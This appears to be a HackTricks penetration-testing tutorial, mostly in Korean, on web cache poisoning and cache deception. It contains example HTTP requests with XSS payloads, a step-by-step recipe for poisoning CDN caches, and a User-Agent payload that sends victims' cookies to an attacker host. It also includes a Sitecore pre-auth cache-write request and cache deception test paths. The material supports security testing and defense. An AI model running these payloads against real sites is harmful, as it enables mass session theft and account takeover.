Cache Poisoning and Cache Deception
Reading time: 15 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
The difference
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 해당 콘텐츠가 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
- In web cache deception, 공격자는 다른 사용자의 민감한 콘텐츠가 cache에 저장되도록 유도한 다음, 공격자가 그 콘텐츠를 cache에서 회수합니다.
Cache Poisoning
Cache poisoning은 client-side cache를 조작해 클라이언트가 예기치 않은 자원, 부분적인 응답, 또는 공격자가 제어하는 자원을 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 해당 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 cache가 오염된 기간 동안 그 페이지를 방문하는 사용자들에게만 제공됩니다.
cache poisoning 공격의 수행은 몇 가지 단계로 이루어집니다:
- Identification of Unkeyed Inputs: 요청이 캐시되기 위해 필수적이지 않더라도 서버가 반환하는 응답을 변경할 수 있는 파라미터들입니다. 이러한 입력을 식별하는 것은 cache를 조작하기 위해 매우 중요합니다.
- Exploitation of the Unkeyed Inputs: unkeyed inputs를 식별한 후, 공격자에게 유리하도록 서버의 응답을 변경하기 위해 이러한 파라미터들을 어떻게 악용할지 파악합니다.
- Ensuring the Poisoned Response is Cached: 마지막 단계는 조작된 응답이 cache에 저장되도록 보장하는 것입니다. 이렇게 하면 cache가 오염된 동안 해당 페이지에 접근하는 모든 사용자는 오염된 응답을 받게 됩니다.
Discovery: Check HTTP headers
일반적으로 응답이 stored in the cache되었을 때 이를 나타내는 header가 있습니다. 어떤 헤더에 주의해야 하는지는 이 글에서 확인할 수 있습니다: HTTP Cache headers.
Discovery: Caching error codes
응답이 cache에 저장되는 것으로 의심된다면, send requests with a bad header를 시도해 볼 수 있습니다. 이 요청은 status code 400으로 응답되어야 합니다. 그런 다음 해당 요청에 정상적으로 접근해 보고, response가 400 status code라면 취약하다는 것을 알 수 있습니다(심지어 DoS도 가능할 수 있습니다).
You can find more options in:
다만 때로는 이러한 종류의 status code들이 캐시되지 않을 수 있으므로 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점에 유의하세요.
Discovery: Identify and evaluate unkeyed inputs
Param Miner를 사용하여 페이지의 응답을 changing the response of the page할 수 있는 파라미터와 헤더를 brute-force parameters and headers로 찾아볼 수 있습니다. 예를 들어, 어떤 페이지는 X-Forwarded-For
헤더를 사용하여 클라이언트가 스크립트를 그 경로에서 로드하도록 지시할 수 있습니다:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
백엔드 서버에서 유해한 응답 유도
식별된 parameter/header에 대해 그것이 어떻게 정제(sanitised) 되는지, 그리고 헤더에서 응답의 어디에 반영(reflected) 되거나 영향을 주는지 확인하세요. 그래도 이를 악용할 수 있나요 (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드? DoS를 수행?...)
응답을 캐시되게 만들기
악용 가능한 페이지와 사용할 parameter/header, 그리고 이를 어떻게 악용(abuse) 할지 **식별(identified)**했으면, 해당 페이지를 캐시되게 해야 합니다. 캐시하려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 반복 시도해야 할 수 있습니다.
응답의 헤더 **X-Cache
**는 유용할 수 있으며, 요청이 캐시되지 않았을 때 miss
값을, 캐시되었을 때 hit
값을 가질 수 있습니다.
헤더 **Cache-Control
**도 리소스가 캐시되고 있는지, 다음에 언제 캐시될지 확인하는 데 유용합니다: Cache-Control: public, max-age=1800
또 다른 흥미로운 헤더는 **Vary
**입니다. 이 헤더는 일반적으로 키로 취급되지 않는 헤더라도 캐시 키의 일부로 간주되는 추가 헤더를 나타내기(indicate additional headers) 위해 자주 사용됩니다. 따라서 공격자가 대상의 User-Agent
를 알고 있다면, 해당 User-Agent
를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.
캐시와 관련된 또 다른 헤더는 **Age
**입니다. 이 헤더는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.
요청을 캐시할 때는 사용한 헤더에 대해 **주의(be careful with the headers you use)**해야 합니다. 일부 헤더는 예상치 못하게 keyed로 사용될 수 있으며, 그러면 피해자는 동일한 헤더를 사용해야 합니다. 항상 **다른 브라우저들(different browsers)**로 Cache Poisoning을 test하여 제대로 동작하는지 확인하세요.
Exploiting Examples
Easiest example
응답에 X-Forwarded-For
와 같은 헤더가 필터링 없이 반영(reflected)됩니다.
기본 XSS 페이로드를 보내고 캐시를 poison하면 페이지에 접근하는 모든 사용자가 XSSed 되게 할 수 있습니다:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
참고: 이것은 /en?region=uk
요청을 오염시키며 /en
요청은 아닙니다
Cache poisoning to DoS
Cache poisoning through CDNs
this writeup 에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
- CDN은
/share/
아래의 모든 것을 캐시합니다. - CDN은
%2F..%2F
를 디코드하거나 정규화하지 않으므로, 이를 path traversal to access other sensitive locations that will be cached로 사용하여https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
같은 민감한 위치에 접근할 수 있습니다. - 웹 서버는
%2F..%2F
를 디코드하고 정규화하여/api/auth/session
으로 응답하며, 이는 contains the auth token입니다.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 일으킬 수 있다면, 악의적인 cache 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
구분자, 정규화 및 점을 이용한 불일치 생성
Check:
Cache Poisoning via URL discrepancies
path traversal을 통한 Cache poisoning으로 API key 탈취
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
because anything matching /share/*
will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
This is also explained better in:
Cache Poisoning via URL discrepancies
여러 헤더를 사용해 web cache poisoning 취약점 악용하기
때로는 캐시를 악용하기 위해 exploit several unkeyed inputs가 필요할 수 있습니다. 예를 들어, X-Forwarded-Host
를 본인이 제어하는 도메인으로 설정하고 X-Forwarded-Scheme
를 http
로 설정하면 Open redirect을 발견할 수 있습니다. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme
as the domain name for the redirect, 리디렉션이 가리키는 페이지의 위치를 제어할 수 있습니다.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiting with limited Vary
header
만약 X-Host
헤더가 JS 리소스를 로드할 도메인 이름으로 사용되고 있고, 응답의 Vary
헤더가 **User-Agent
**로 표시되어 있다면, 피해자의 User-Agent
를 exfiltrate하고 해당 User-Agent
를 사용해 poison the cache할 방법을 찾아야 합니다:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URL과 body에 요청을 담아 GET 요청을 보낸다. 만약 web server가 body의 값을 사용하지만 cache server가 URL의 값을 캐시한다면, 해당 URL에 접속하는 누구나 실제로는 body의 parameter를 사용하게 된다. James Kettle이 Github 웹사이트에서 발견한 vuln과 같다:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
이와 관련된 PortSwigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
예를 들어 ruby 서버에서는 ;
문자를 &
대신 사용해 parameters를 구분할 수 있습니다. 이를 이용해 키가 없는 parameters 값을 키가 있는 parameters 내부에 삽입해 악용할 수 있습니다.
PortSwigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
여기에서 Cache Poisoning attacks by abusing HTTP Request Smuggling를 수행하는 방법을 확인하세요.
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner는 Web Cache Poisoning을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기법을 지원하며 커스터마이징이 매우 용이합니다.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
이 실제 패턴은 header 기반 반사 primitive와 CDN/WAF 동작을 연결하여 다른 사용자들에게 제공되는 캐시된 HTML을 신뢰성 있게 포이즈닝합니다:
- 메인 HTML은 신뢰할 수 없는 요청 헤더(예:
User-Agent
)를 실행 가능 컨텍스트로 반사했습니다. - CDN은 캐시 헤더를 제거했지만 internal/origin cache가 존재했습니다. CDN은 또한 정적 확장자(예:
.js
)로 끝나는 요청을 자동으로 캐시했고, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다. - 요청 흐름의 특성으로 인해
.js
경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어 header reflection을 통한 크로스-유저 XSS가 가능해졌습니다.
실전 레시피(한 인기 있는 CDN/WAF에서 관찰됨):
- 평판 저하가 없는 깨끗한 IP에서(이전 평판 기반 강등을 피하면서), 브라우저 또는 Burp Proxy의 Match & Replace를 통해 악성
User-Agent
를 설정합니다. - Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"를 사용합니다(단일-packet 모드가 가장 잘 동작합니다):
- 첫 번째 요청: 같은 오리진의
.js
리소스 경로에 대해 악성User-Agent
를 보내며 GET 요청을 보냅니다. - 바로 다음: 메인 페이지(
/
)에 GET을 보냅니다.
- CDN/WAF 라우팅 레이스와 auto-cached
.js
가 결합되어 종종 포이즈닝된 캐시된 HTML 변형을 주입하며, 이는 동일한 캐시 키 조건(예:User-Agent
같은 동일한Vary
차원)을 공유하는 다른 방문자들에게 제공됩니다.
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- 많은 CDN은 캐시 헤더를 숨긴다; poisoning은 몇 시간 단위의 갱신 주기에서만 나타날 수 있다. 여러 위치의 IP를 사용하고 rate-limit 또는 평판 트리거를 피하기 위해 요청 속도를 제한하라.
- CDN의 자체 cloud에 속한 IP를 사용하면 라우팅 일관성이 향상될 때가 있다.
- 엄격한 CSP가 존재하더라도, reflection이 메인 HTML 컨텍스트에서 실행되고 CSP가 inline 실행을 허용하거나 컨텍스트로 우회되는 경우에는 여전히 작동한다.
Impact:
- 세션 쿠키가
HttpOnly
로 설정되어 있지 않다면, poisoned HTML을 제공받는 모든 사용자로부터document.cookie
를 mass-exfiltrating함으로써 zero-click ATO가 가능하다.
Defenses:
- 요청 헤더를 HTML로 반영하는 것을 중단하라; 불가피하면 반드시 컨텍스트에 맞게 인코딩하라. CDN과 origin의 캐시 정책을 일치시키고 신뢰할 수 없는 헤더에 따라 vary하지 않도록 하라.
- WAF가
.js
요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하라. - 세션 쿠키에
HttpOnly
(및Secure
,SameSite
)를 설정하라.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
이 항목은 공격자가 선택한 캐시 키 아래에 임의의 HTML을 기록하여, 캐시 키가 알려지면 정확한 poisoning이 가능하게 만듭니다.
자세한 내용(캐시 키 구성, ItemService 열거 및 chained post‑auth deserialization RCE)은 다음을 참고하세요:
취약한 예
Apache Traffic Server (CVE-2021-27577)
ATS는 URL 내부의 fragment를 제거하지 않고 전달했으며, cache key는 fragment를 무시하고 host, path, query만을 사용해 생성했습니다. 따라서 요청 /#/../?r=javascript:alert(1)
는 백엔드로 /#/../?r=javascript:alert(1)
그대로 전송되었고, 캐시 키에는 payload가 포함되지 않고 host, path, query만 포함되었습니다.
GitHub CP-DoS
content-type header에 잘못된 값을 보내면 405 cached response가 발생했습니다. 캐시 키에 cookie가 포함되어 있어 공격은 인증되지 않은 사용자에게만 가능했습니다.
GitLab + GCP CP-DoS
GitLab은 정적 콘텐츠를 저장하기 위해 GCP buckets를 사용합니다. GCP Buckets는 **header x-http-method-override
**를 지원합니다. 그래서 x-http-method-override: HEAD
헤더를 전송해 캐시를 poison하여 빈 응답 본문을 반환하도록 만들 수 있었습니다. 또한 PURGE
메서드도 지원될 수 있습니다.
Rack Middleware (Ruby on Rails)
Ruby on Rails 애플리케이션에서는 Rack middleware가 자주 사용됩니다. 해당 Rack 코드는 x-forwarded-scheme
헤더의 값을 가져와 요청의 scheme으로 설정하는 역할을 합니다. x-forwarded-scheme: http
헤더가 전송되면 동일한 위치로 301 redirect가 발생해 해당 리소스에 대한 Denial of Service (DoS)를 일으킬 수 있습니다. 추가로, 애플리케이션이 X-forwarded-host
헤더를 인정하고 사용자를 지정된 호스트로 리다이렉트할 수 있습니다. 이러한 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.
403 and Storage Buckets
Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 그 응답이 캐시되곤 했습니다. Cloudflare는 403 응답 캐싱을 멈췄지만, 다른 프록시 서비스에서는 여전히 이 동작이 존재할 수 있습니다.
Injecting Keyed Parameters
캐시는 종종 특정 GET 파라미터를 캐시 키에 포함합니다. 예를 들어 Fastly의 Varnish는 요청의 size
파라미터를 캐시했습니다. 그러나 URL-encoded 된 버전의 파라미터(e.g., siz%65
)를 잘못된 값과 함께 전송하면 캐시 키는 올바른 size
파라미터를 사용해 구성되는 반면, 백엔드는 URL-encoded 파라미터의 값을 처리했습니다. 두 번째 size
파라미터를 URL-encoding 하면 캐시에서는 생략되지만 백엔드에서는 사용되게 됩니다. 이 파라미터에 0 값을 할당하면 캐시 가능한 400 Bad Request 에러가 발생했습니다.
User Agent Rules
일부 개발자는 FFUF나 Nuclei 같은 고트래픽 도구의 user-agent와 매칭되는 요청을 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근은 cache poisoning 및 DoS와 같은 취약점을 도입할 수 있습니다.
Illegal Header Fields
https://datatracker.ietf.mrg/doc/html/rfc7230은 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 tchar 범위 밖의 문자를 포함한 헤더는 이상적으로는 400 Bad Request 응답을 유발해야 합니다. 하지만 실제로는 서버가 이 표준을 항상 따르지 않습니다. 주목할 만한 예로 Akamai는 유효하지 않은 문자가 포함된 헤더를 전달하고, cache-control
헤더가 없는 한 모든 400 에러를 캐시했습니다. 예를 들어 \
같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 에러가 발생하는 패턴이 확인되었습니다.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
우선 .css
, .js
, .png
등과 같은 확장자는 일반적으로 캐시에 저장되도록 구성되어 있다는 점에 주의하세요. 따라서 www.example.com/profile.php/nonexistent.js
에 접근하면 캐시는 해당 응답을 확장자를 보고 저장할 가능성이 큽니다. 하지만 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 콘텐츠로 응답하고 있다면, 다른 사용자의 그 콘텐츠를 훔칠 수 있습니다.
다른 테스트 항목:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
또 다른 명확한 예시는 이 보고서에서 볼 수 있습니다: https://hackerone.com/reports/593712.
해당 예시에서는 http://www.example.com/home.php/non-existent.css 처럼 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.
그 후 공격자는 자신 브라우저에서 http://www.example.com/home.php/non-existent.css 에 접근해 이전에 접근한 사용자들의 기밀 정보를 볼 수 있습니다.
캐시 프록시가 파일의 content-type이 아닌 파일의 확장자(.css)를 기준으로 파일을 캐시하도록 configured 되어 있어야 한다는 점에 유의하세요. 예시에서 http://www.example.com/home.php/non-existent.css 는 text/html
content-type을 가지며 text/css
mime 타입이 아니게 됩니다.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
자동화 도구
- toxicache: Golang scanner로 URL 목록에서 web cache poisoning 취약점을 찾아 여러 주입 기법을 테스트합니다.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.